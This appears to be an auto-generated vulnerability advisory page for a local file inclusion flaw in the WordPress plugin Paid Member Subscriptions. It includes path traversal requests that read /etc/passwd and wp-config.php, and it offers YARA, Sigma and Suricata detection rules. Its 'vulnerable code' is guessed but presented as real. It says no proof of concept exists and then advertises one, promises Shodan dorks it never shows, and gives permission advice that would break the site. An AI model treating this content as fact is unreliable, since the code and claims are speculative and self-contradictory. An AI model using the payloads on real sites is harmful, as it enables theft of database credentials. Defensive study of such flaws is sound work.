CVE-2025-54017
Executive Summary
CVE-2025-54017 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WordPress plugin Paid Member Subscriptions by Cozmoslabs, affecting versions up to and including 2.15.4. The vulnerability stems from improper control of a filename used in an include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score is 7.5 (High), and no public proof-of-concept or patch is currently available. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository or via Composer are at risk. No patched version has been released, and the supply chain remains compromised until an update is provided.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The exploit does not affect other components.
- Confidentiality (C): High (H) – Sensitive files can be read.
- Integrity (I): None (N) – No file modification possible.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The vulnerability allows unauthenticated file disclosure, which can lead to full site compromise if credentials are exposed.
Deep Dive & Mechanics
The vulnerability exists in the paid-member-subscriptions plugin, specifically in a PHP function that processes user-supplied input to construct a file path for inclusion. The plugin likely uses a parameter (e.g., page, tab, or action) to load template files or modules. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.
Root Cause: The plugin uses include() or require() with a filename derived from user input without proper validation or whitelisting. For example:
include( plugin_dir_path( __FILE__ ) . 'views/' . $_GET['view'] . '.php' );
An attacker can manipulate $_GET['view'] to include files outside the intended directory.
Exploitation Scenario:
- Attacker sends a crafted HTTP request to a vulnerable endpoint.
- The request includes a path traversal payload in the vulnerable parameter.
- The server includes the specified file, outputting its contents to the attacker.
Impact: Reading wp-config.php exposes database credentials, salts, and authentication keys, enabling full site takeover.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.15.4):
$view = $_GET['view'];
include( plugin_dir_path( __FILE__ ) . 'views/' . $view . '.php' );
This code directly uses user input without sanitization, allowing path traversal.
Patched Code (Hypothetical):
$allowed_views = array( 'dashboard', 'members', 'settings' );
$view = $_GET['view'];
if ( in_array( $view, $allowed_views ) ) {
include( plugin_dir_path( __FILE__ ) . 'views/' . $view . '.php' );
} else {
// Handle error
}
The patched version uses a whitelist to restrict allowed files, preventing LFI.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress with Paid Member Subscriptions plugin version 2.15.4.
- Ensure the server has a readable
/etc/passwdfile.
Exploitation Steps:
- Identify the vulnerable parameter (e.g.,
view,page). - Craft a request to read
/etc/passwd:GET /wp-admin/admin.php?page=pms-members&view=../../../../../../etc/passwd HTTP/1.1 Host: target.com - If successful, the response will contain the contents of
/etc/passwd.
Advanced Exploitation:
- To read
wp-config.php:GET /wp-admin/admin.php?page=pms-members&view=../../../../wp-config HTTP/1.1 - If PHP wrappers are enabled, use
php://filterfor base64 encoding:GET /wp-admin/admin.php?page=pms-members&view=php://filter/convert.base64-encode/resource=../../../../wp-config HTTP/1.1
Blue Team (Defensive)
Detection:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f). - Look for requests to plugin admin pages with suspicious
vieworpageparameters.
Mitigation:
- Immediately disable the plugin if no patch is available.
- Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
- Restrict file permissions on sensitive files like
wp-config.php.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
../or%2e%2e%2fin parameters likeview,page, ortab. - Log Entries: HTTP 200 responses to requests for non-existent PHP files (e.g.,
/etc/passwd). - File Access: Unauthorized reads of
wp-config.php,.htaccess, or/etc/passwd. - Network Traffic: Outbound connections from the server to attacker-controlled hosts (if RCE is achieved).
Detection Engineering
YARA Rule
rule CVE_2025_54017_LFI {
meta:
description = "Detects path traversal attempts targeting Paid Member Subscriptions plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-54017"
strings:
$path_traversal = /(\.\.\/|\.\.\\){2,}/
$plugin_param = /(view|page|tab)=[a-zA-Z0-9_\/\.\-]*\.\.\//
condition:
$plugin_param and $path_traversal
}
Sigma Rule
title: CVE-2025-54017 - Paid Member Subscriptions LFI Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts in WordPress admin requests
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'view='
- 'page='
cs-uri-query|re: '\.\.\/|\.\.\\'
condition: selection
falsepositives:
- Legitimate use of relative paths in plugins
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-54017 - Paid Member Subscriptions LFI Attempt";
flow:to_server,established;
content:"/wp-admin/admin.php"; http_uri;
content:"view="; http_uri;
pcre:"/(\.\.\/|\.\.\\){2,}/U";
sid:1000001;
rev:1;
reference:cve,2025-54017;
priority:1;
)
Remediation & Mitigation
- Immediate Action: Disable the Paid Member Subscriptions plugin until a patched version is released.
- Patch: Monitor the plugin repository for updates. Apply the patch as soon as it becomes available.
- WAF Rules: Deploy rules to block path traversal patterns in HTTP requests.
- File Permissions: Ensure
wp-config.phpis not readable by the web server user (e.g.,chmod 600). - Monitoring: Enable logging and alerting for suspicious file access patterns.
- Backup: Maintain recent backups to restore the site if compromised.
Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defense purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.